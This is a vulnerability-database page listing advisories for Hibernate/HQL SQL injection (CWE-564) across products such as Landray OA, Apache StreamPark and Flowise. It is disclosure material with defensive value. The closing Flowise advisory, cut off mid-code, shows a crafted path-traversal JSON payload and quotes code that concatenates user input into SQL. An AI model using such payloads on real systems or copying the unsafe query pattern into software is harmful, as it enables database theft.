Common Weakness Enumeration
CWE-564
AllowedSQL Injection: Hibernate
Abstraction: Variant · Status: Incomplete
Using Hibernate to execute a dynamic SQL statement built with user-controlled input can allow an attacker to modify the statement's meaning or to execute arbitrary SQL commands.
29 vulnerabilities reference this CWE, most recent first.
CVE-2025-8052 (GCVE-0-2025-8052)
Vulnerability from cvelistv5 – Published: 2025-10-20 19:57 – Updated: 2025-10-21 15:31
VLAI
EPSS
VEX
Title
HQL Injection vulnerability has been discovered in Opentext Flipper.
Summary
SQL Injection vulnerability in opentext Flipper allows SQL Injection.
The vulnerability could allow a low privilege user to interact with the database in unintended ways and extract data by interacting with the HQL processor.
This issue affects Flipper: 3.1.2.
Severity
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2025-10-21 15:31 UTC
CWE
- CWE-564 - SQL Injection
Assigner
References
1 reference
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-8052",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2025-10-21T15:31:12.772369Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2025-10-21T15:31:49.483Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "Flipper",
"vendor": "opentext",
"versions": [
{
"status": "affected",
"version": "3.1.2"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Lockheed Martin Red Team"
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "SQL Injection vulnerability in opentext Flipper allows SQL Injection.\u0026nbsp;\n\nThe vulnerability could allow a low privilege user to interact with the database in unintended ways and extract data by interacting with the HQL processor.\n\n\u003cp\u003eThis issue affects Flipper: 3.1.2.\u003c/p\u003e"
}
],
"value": "SQL Injection vulnerability in opentext Flipper allows SQL Injection.\u00a0\n\nThe vulnerability could allow a low privilege user to interact with the database in unintended ways and extract data by interacting with the HQL processor.\n\nThis issue affects Flipper: 3.1.2."
}
],
"impacts": [
{
"capecId": "CAPEC-66",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-66 SQL Injection"
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "YES",
"Recovery": "USER",
"Safety": "PRESENT",
"attackComplexity": "LOW",
"attackRequirements": "PRESENT",
"attackVector": "ADJACENT",
"baseScore": 1,
"baseSeverity": "LOW",
"privilegesRequired": "LOW",
"providerUrgency": "GREEN",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "ACTIVE",
"valueDensity": "DIFFUSE",
"vectorString": "CVSS:4.0/AV:A/AC:L/AT:P/PR:L/UI:A/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/S:P/AU:Y/R:U/V:D/RE:M/U:Green",
"version": "4.0",
"vulnAvailabilityImpact": "LOW",
"vulnConfidentialityImpact": "LOW",
"vulnIntegrityImpact": "LOW",
"vulnerabilityResponseEffort": "MODERATE"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-564",
"description": "CWE-564 SQL Injection",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2025-10-20T19:57:34.805Z",
"orgId": "f81092c5-7f14-476d-80dc-24857f90be84",
"shortName": "OpenText"
},
"references": [
{
"url": "https://support.opentext.com/csm?id=ot_kb_unauthenticated\u0026sysparm_article=KB0850533"
}
],
"solutions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://support.opentext.com/csm?id=ot_kb_unauthenticated\u0026amp;sysparm_article=KB0850533\"\u003ehttps://support.opentext.com/csm?id=ot_kb_unauthenticated\u0026amp;sysparm_article=KB0850533\u003c/a\u003e\u003cbr\u003e"
}
],
"value": "https://support.opentext.com/csm?id=ot_kb_unauthenticated\u0026sysparm_article=KB0850533"
}
],
"source": {
"discovery": "UNKNOWN"
},
"title": "HQL Injection vulnerability has been discovered in Opentext Flipper.",
"x_generator": {
"engine": "Vulnogram 0.2.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "f81092c5-7f14-476d-80dc-24857f90be84",
"assignerShortName": "OpenText",
"cveId": "CVE-2025-8052",
"datePublished": "2025-10-20T19:57:34.805Z",
"dateReserved": "2025-07-22T13:07:22.013Z",
"dateUpdated": "2025-10-21T15:31:49.483Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
CVE-2025-0959 (GCVE-0-2025-0959)
Vulnerability from cvelistv5 – Published: 2025-03-07 08:21 – Updated: 2026-04-08 17:18
VLAI
EPSS
VEX
Title
Eventer - WordPress Event & Booking Manager Plugin <= 3.9.9.2 - Authenticated (Subscriber+) SQL Injection via reg_id
Summary
The Eventer - WordPress Event & Booking Manager Plugin plugin for WordPress is vulnerable to SQL Injection via the reg_id parameter in all versions up to, and including, 3.9.9.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
Severity
8.8 (High)
SSVC
Exploitation: none
Automatable: yes
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2025-03-07 15:08 UTC
CWE
- CWE-564 - SQL Injection: Hibernate
Assigner
References
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| imithemes | Eventer - WordPress Event & Booking Manager Plugin |
Affected:
0 , ≤ 3.9.9.2
(semver)
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-0959",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2025-03-07T15:08:32.498294Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2025-03-07T15:10:00.432Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "Eventer - WordPress Event \u0026 Booking Manager Plugin",
"vendor": "imithemes",
"versions": [
{
"lessThanOrEqual": "3.9.9.2",
"status": "affected",
"version": "0",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Lucio S\u00e1"
}
],
"descriptions": [
{
"lang": "en",
"value": "The Eventer - WordPress Event \u0026 Booking Manager Plugin plugin for WordPress is vulnerable to SQL Injection via the reg_id parameter in all versions up to, and including, 3.9.9.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database."
}
],
"metrics": [
{
"cvssV3_1": {
"baseScore": 8.8,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-564",
"description": "CWE-564 SQL Injection: Hibernate",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-04-08T17:18:56.517Z",
"orgId": "b15e7b5b-3da4-40ae-a43c-f7aa60e62599",
"shortName": "Wordfence"
},
"references": [
{
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/bd42c89e-57db-458f-910c-404a5615f280?source=cve"
},
{
"url": "https://codecanyon.net/item/eventer-wordpress-event-manager-plugin/20972534"
}
],
"timeline": [
{
"lang": "en",
"time": "2025-03-06T19:34:20.000Z",
"value": "Disclosed"
}
],
"title": "Eventer - WordPress Event \u0026 Booking Manager Plugin \u003c= 3.9.9.2 - Authenticated (Subscriber+) SQL Injection via reg_id"
}
},
"cveMetadata": {
"assignerOrgId": "b15e7b5b-3da4-40ae-a43c-f7aa60e62599",
"assignerShortName": "Wordfence",
"cveId": "CVE-2025-0959",
"datePublished": "2025-03-07T08:21:27.417Z",
"dateReserved": "2025-01-31T21:54:05.021Z",
"dateUpdated": "2026-04-08T17:18:56.517Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2024-58352 (GCVE-0-2024-58352)
Vulnerability from cvelistv5 – Published: 2026-07-02 17:05 – Updated: 2026-07-28 01:47 X_Known Exploited Vulnerability
VLAI
EPSS
VEX
Title
Landray OA Unauthenticated HQL Injection via wechatLoginHelper.do
Summary
Landray OA contains an unauthenticated HQL injection vulnerability that allows unauthenticated attackers to query arbitrary Hibernate entity classes by injecting malicious HQL syntax into the uid POST parameter of the wechatLoginHelper.do endpoint. Attackers can exploit the lack of input sanitization in the string-concatenated filter expression passed to the Hibernate findList() call to extract sensitive data such as administrator password hashes and, with sufficient database privileges, perform file-write operations enabling remote code execution. Exploitation evidence was first observed by the Shadowserver Foundation on 2024-03-11 (UTC).
Severity
SSVC
Exploitation: poc
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-07-02 17:49 UTC
CWE
- CWE-564 - SQL Injection: Hibernate
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://cn-sec.com/archives/2532828.html | technical-descriptionexploit |
| https://blog.csdn.net/fushuang333/article/details… | technical-descriptionexploit |
| https://blog.csdn.net/qq_39342001/article/details… | technical-descriptionexploit |
| https://www.vulncheck.com/advisories/landray-oa-u… | third-party-advisory |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Shenzhen Landray Software Co., Ltd. | Landry Office Automation (OA) |
Affected:
*
(custom)
cpe:2.3:a:ivanti:automation:*:*:*:*:*:*:*:* |
Date Public
2024-02-28 00:00
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2024-58352",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-07-02T17:49:16.594140Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-07-02T17:49:58.164Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "affected",
"product": "Landry Office Automation (OA)",
"vendor": "Shenzhen Landray Software Co., Ltd.",
"versions": [
{
"status": "affected",
"version": "*",
"versionType": "custom"
}
]
}
],
"cpeApplicability": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:ivanti:automation:*:*:*:*:*:*:*:*",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "reporter",
"value": "The Shadowserver Foundation"
}
],
"datePublic": "2024-02-28T00:00:00.000Z",
"descriptions": [
{
"lang": "en",
"value": "Landray OA contains an unauthenticated HQL injection vulnerability that allows unauthenticated attackers to query arbitrary Hibernate entity classes by injecting malicious HQL syntax into the uid POST parameter of the wechatLoginHelper.do endpoint. Attackers can exploit the lack of input sanitization in the string-concatenated filter expression passed to the Hibernate findList() call to extract sensitive data such as administrator password hashes and, with sufficient database privileges, perform file-write operations enabling remote code execution. Exploitation evidence was first observed by the Shadowserver Foundation on 2024-03-11 (UTC)."
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"baseScore": 8.7,
"baseSeverity": "HIGH",
"exploitMaturity": "NOT_DEFINED",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "NONE",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
},
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-564",
"description": "SQL Injection: Hibernate",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-07-28T01:47:44.539Z",
"orgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
"shortName": "VulnCheck"
},
"references": [
{
"name": "Researcher Disclosure (1)",
"tags": [
"technical-description",
"exploit"
],
"url": "https://cn-sec.com/archives/2532828.html"
},
{
"name": "Researcher Disclosure (2)",
"tags": [
"technical-description",
"exploit"
],
"url": "https://blog.csdn.net/fushuang333/article/details/136377020"
},
{
"name": "Researcher Disclosure (3)",
"tags": [
"technical-description",
"exploit"
],
"url": "https://blog.csdn.net/qq_39342001/article/details/137354047"
},
{
"tags": [
"third-party-advisory"
],
"url": "https://www.vulncheck.com/advisories/landray-oa-unauthenticated-hql-injection-via-wechatloginhelper-do"
}
],
"source": {
"discovery": "UNKNOWN"
},
"tags": [
"x_known-exploited-vulnerability"
],
"title": "Landray OA Unauthenticated HQL Injection via wechatLoginHelper.do",
"x_generator": {
"engine": "vulncheck"
}
}
},
"cveMetadata": {
"assignerOrgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
"assignerShortName": "VulnCheck",
"cveId": "CVE-2024-58352",
"datePublished": "2026-07-02T17:05:10.709Z",
"dateReserved": "2026-06-08T15:20:35.497Z",
"dateUpdated": "2026-07-28T01:47:44.539Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2024-48988 (GCVE-0-2024-48988)
Vulnerability from cvelistv5 – Published: 2025-08-22 18:24 – Updated: 2025-11-04 21:09
VLAI
EPSS
VEX
Title
Apache StreamPark: SQL injection vulnerability
Summary
SQL Injection vulnerability in Apache StreamPark.
This issue affects Apache StreamPark: from 2.1.4 before 2.1.6.
Users are recommended to upgrade to version 2.1.6, which fixes the issue.
This vulnerability is present only in the distribution package (SpringBoot platform) and does not involve Maven artifacts.
It can only be exploited after a user has successfully logged into the platform (implying that the attacker would first need to compromise the login authentication).
As a result, the associated risk is considered relatively low.
Severity
7.6 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2025-08-22 18:46 UTC
CWE
- CWE-564 - SQL Injection
Assigner
References
2 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Apache Software Foundation | Apache StreamPark |
Affected:
2.1.4 , < 2.1.6
(semver)
|
{
"containers": {
"adp": [
{
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 7.6,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:L",
"version": "3.1"
}
},
{
"other": {
"content": {
"id": "CVE-2024-48988",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2025-08-22T18:46:36.076690Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2025-08-22T18:47:04.200Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
},
{
"providerMetadata": {
"dateUpdated": "2025-11-04T21:09:00.563Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"url": "http://www.openwall.com/lists/oss-security/2025/08/22/1"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "Apache StreamPark",
"vendor": "Apache Software Foundation",
"versions": [
{
"lessThan": "2.1.6",
"status": "affected",
"version": "2.1.4",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "reporter",
"value": "Xingchen Chen, Ze Jin, wh1t3p1g, yhbl, Qixu Liu Institute of Information Engineering, CAS"
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eSQL Injection vulnerability in Apache StreamPark.\u003c/p\u003e\u003cp\u003eThis issue affects Apache StreamPark: from 2.1.4 before 2.1.6.\u003c/p\u003e\u003cp\u003eUsers are recommended to upgrade to version 2.1.6, which fixes the issue.\u003c/p\u003e\u003cbr\u003eThis vulnerability is present only in the distribution package (SpringBoot platform) and does not involve Maven artifacts.\u003cbr\u003eIt can only be exploited after a user has successfully logged into the platform (implying that the attacker would first need to compromise the login authentication). \u003cbr\u003eAs a result, the associated risk is considered relatively low.\u003cbr\u003e\u003cp\u003e\u003cbr\u003e\u003c/p\u003e"
}
],
"value": "SQL Injection vulnerability in Apache StreamPark.\n\nThis issue affects Apache StreamPark: from 2.1.4 before 2.1.6.\n\nUsers are recommended to upgrade to version 2.1.6, which fixes the issue.\n\n\nThis vulnerability is present only in the distribution package (SpringBoot platform) and does not involve Maven artifacts.\nIt can only be exploited after a user has successfully logged into the platform (implying that the attacker would first need to compromise the login authentication). \nAs a result, the associated risk is considered relatively low."
}
],
"metrics": [
{
"other": {
"content": {
"text": "low"
},
"type": "Textual description of severity"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-564",
"description": "CWE-564 SQL Injection",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2025-08-22T18:24:22.144Z",
"orgId": "f0158376-9dc2-43b6-827c-5f631a4d8d09",
"shortName": "apache"
},
"references": [
{
"tags": [
"vendor-advisory"
],
"url": "https://lists.apache.org/thread/26ng8388l93zwjrst560cbjz9x7wpq1s"
}
],
"source": {
"discovery": "UNKNOWN"
},
"title": "Apache StreamPark: SQL injection vulnerability",
"x_generator": {
"engine": "Vulnogram 0.2.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "f0158376-9dc2-43b6-827c-5f631a4d8d09",
"assignerShortName": "apache",
"cveId": "CVE-2024-48988",
"datePublished": "2025-08-22T18:24:22.144Z",
"dateReserved": "2024-10-11T12:07:26.343Z",
"dateUpdated": "2025-11-04T21:09:00.563Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GHSA-348H-XMHF-CXQC
Vulnerability from github – Published: 2026-01-09 18:31 – Updated: 2026-01-09 18:31
VLAI
Details
In TIM BPM Suite/ TIM FLOW through 9.1.2 multiple Hibernate Query Language injection vulnerabilities exist which allow a low privileged user to extract passwords of other users and access sensitive data of another user.
Severity
5.4 (Medium)
{
"affected": [],
"aliases": [
"CVE-2025-67280"
],
"database_specific": {
"cwe_ids": [
"CWE-564"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-09T16:16:07Z",
"severity": "MODERATE"
},
"details": "In TIM BPM Suite/ TIM FLOW through 9.1.2 multiple Hibernate Query Language injection vulnerabilities exist which allow a low privileged user to extract passwords of other users and access sensitive data of another user.",
"id": "GHSA-348h-xmhf-cxqc",
"modified": "2026-01-09T18:31:36Z",
"published": "2026-01-09T18:31:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-67280"
},
{
"type": "WEB",
"url": "https://tim-doc.atlassian.net/wiki/spaces/eng/pages/230981636/Release+Notes"
},
{
"type": "WEB",
"url": "https://www.y-security.de/news-en/tim-bpm-suite-tim-flow-multiple-vulnerabilities"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-354C-7HJW-QVQ2
Vulnerability from github – Published: 2026-09-16 21:32 – Updated: 2026-09-16 21:32
VLAI
Details
A vulnerability in Cisco Identity Services Engine (ISE) and Cisco ISE Passive Identity Connector (ISE-PIC) could allow an authenticated, remote attacker to conduct an SQL or HQL injection attack on an affected device.
This vulnerability is due to insufficient validation of user-supplied input to the affected APIs before it is used to build database queries. An attacker could exploit this vulnerability by sending a crafted request to an affected device. A successful exploit could allow the attacker to execute arbitrary SQL or HQL queries against the underlying database, which could allow the attacker to view or modify data that they are not authorized to access. To exploit this vulnerability, the attacker must have valid administrative credentials.
Severity
4.9 (Medium)
{
"affected": [],
"aliases": [
"CVE-2026-76450"
],
"database_specific": {
"cwe_ids": [
"CWE-564"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-16T21:17:21Z",
"severity": "MODERATE"
},
"details": "A vulnerability in Cisco Identity Services Engine (ISE) and Cisco ISE Passive Identity Connector (ISE-PIC) could allow an authenticated, remote attacker to conduct an SQL or HQL injection attack on an affected device.\n\nThis vulnerability is due to insufficient validation of user-supplied input to the affected APIs before it is used to build database queries. An attacker could exploit this vulnerability by sending a crafted request to an affected device. A successful exploit could allow the attacker to execute arbitrary SQL or HQL queries against the underlying database, which could allow the attacker to view or modify data that they are not authorized to access. To exploit this vulnerability, the attacker must have valid administrative credentials.",
"id": "GHSA-354c-7hjw-qvq2",
"modified": "2026-09-16T21:32:52Z",
"published": "2026-09-16T21:32:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-76450"
},
{
"type": "WEB",
"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ise-multisql-inject-JnHK54Rq"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6WPF-Q5X2-66FC
Vulnerability from github – Published: 2025-08-22 21:31 – Updated: 2025-11-05 00:31
VLAI
Details
SQL Injection vulnerability in Apache StreamPark.
This issue affects Apache StreamPark: from 2.1.4 before 2.1.6.
Users are recommended to upgrade to version 2.1.6, which fixes the issue.
This vulnerability is present only in the distribution package (SpringBoot platform) and does not involve Maven artifacts. It can only be exploited after a user has successfully logged into the platform (implying that the attacker would first need to compromise the login authentication). As a result, the associated risk is considered relatively low.
Severity
7.6 (High)
{
"affected": [],
"aliases": [
"CVE-2024-48988"
],
"database_specific": {
"cwe_ids": [
"CWE-564",
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-22T19:15:38Z",
"severity": "HIGH"
},
"details": "SQL Injection vulnerability in Apache StreamPark.\n\nThis issue affects Apache StreamPark: from 2.1.4 before 2.1.6.\n\nUsers are recommended to upgrade to version 2.1.6, which fixes the issue.\n\n\nThis vulnerability is present only in the distribution package (SpringBoot platform) and does not involve Maven artifacts.\nIt can only be exploited after a user has successfully logged into the platform (implying that the attacker would first need to compromise the login authentication). \nAs a result, the associated risk is considered relatively low.",
"id": "GHSA-6wpf-q5x2-66fc",
"modified": "2025-11-05T00:31:25Z",
"published": "2025-08-22T21:31:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-48988"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/26ng8388l93zwjrst560cbjz9x7wpq1s"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2025/08/22/1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-7X66-29G6-CQ28
Vulnerability from github – Published: 2025-10-20 21:30 – Updated: 2025-10-28 18:30
VLAI
Details
SQL Injection vulnerability in opentext Flipper allows SQL Injection.
The vulnerability could allow a low privilege user to interact with the database in unintended ways and extract data by interacting with the HQL processor.
This issue affects Flipper: 3.1.2.
Severity
{
"affected": [],
"aliases": [
"CVE-2025-8052"
],
"database_specific": {
"cwe_ids": [
"CWE-564"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-20T20:15:38Z",
"severity": "LOW"
},
"details": "SQL Injection vulnerability in opentext Flipper allows SQL Injection.\u00a0\n\nThe vulnerability could allow a low privilege user to interact with the database in unintended ways and extract data by interacting with the HQL processor.\n\nThis issue affects Flipper: 3.1.2.",
"id": "GHSA-7x66-29g6-cq28",
"modified": "2025-10-28T18:30:26Z",
"published": "2025-10-20T21:30:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8052"
},
{
"type": "WEB",
"url": "https://support.opentext.com/csm?id=ot_kb_unauthenticated\u0026sysparm_article=KB0850533"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:A/AC:L/AT:P/PR:L/UI:A/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:P/AU:Y/R:U/V:D/RE:M/U:Green",
"type": "CVSS_V4"
}
]
}
GHSA-862R-FQ3J-WQQX
Vulnerability from github – Published: 2025-03-07 09:30 – Updated: 2025-03-07 09:30
VLAI
Details
The Eventer - WordPress Event & Booking Manager Plugin plugin for WordPress is vulnerable to SQL Injection via the reg_id parameter in all versions up to, and including, 3.9.9.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
Severity
8.8 (High)
{
"affected": [],
"aliases": [
"CVE-2025-0959"
],
"database_specific": {
"cwe_ids": [
"CWE-564",
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-07T09:15:16Z",
"severity": "HIGH"
},
"details": "The Eventer - WordPress Event \u0026 Booking Manager Plugin plugin for WordPress is vulnerable to SQL Injection via the reg_id parameter in all versions up to, and including, 3.9.9.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.",
"id": "GHSA-862r-fq3j-wqqx",
"modified": "2025-03-07T09:30:35Z",
"published": "2025-03-07T09:30:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-0959"
},
{
"type": "WEB",
"url": "https://codecanyon.net/item/eventer-wordpress-event-manager-plugin/20972534"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/bd42c89e-57db-458f-910c-404a5615f280?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-9C4C-G95M-C8CP
Vulnerability from github – Published: 2025-04-07 18:55 – Updated: 2026-06-24 13:01
VLAI
Summary
FlowiseDB vulnerable to SQL Injection by authenticated users
Details
Summary
import functions are vulnerable. * importChatflows * importTools * importVariables
Details
Authenticated user can call importChatflows API, import json file such as AllChatflows.json.
but Due to insufficient validation to chatflow.id in importChatflows API, 2 issues arise.
Issue 1 (Bug Type)
1. Malicious user creates AllChatflows.json file by adding ../ and arbitrary path to the chatflow.id of the json file.
json
{
"Chatflows": [
{
"id": "../../../../../../apikey",
"name": "clickme",
"flowData": "{}"
}
]
}
2. Victim download this file, and import this to flowise.
3. When victim click created chatflow, victim access to flowise:3000/canvas/{chatflow.id}.
Issue 2 (Vulnerability Type) importChatflows API use unsafe SQL Query.
// packages/server/src/services/chatflows/index.ts
const importChatflows = async (newChatflows: Partial<ChatFlow>[]): Promise<any> => {
try {
const appServer = getRunningExpressApp()
// step 1 - check whether file chatflows array is zero
if (newChatflows.length == 0) return
// step 2 - check whether ids are duplicate in database
let ids = '('
let count: number = 0
const lastCount = newChatflows.length - 1
newChatflows.forEach((newChatflow) => {
ids += `'${newChatflow.id}'` // <===== user input
if (lastCount != count) ids += ','
if (lastCount == count) ids += ')'
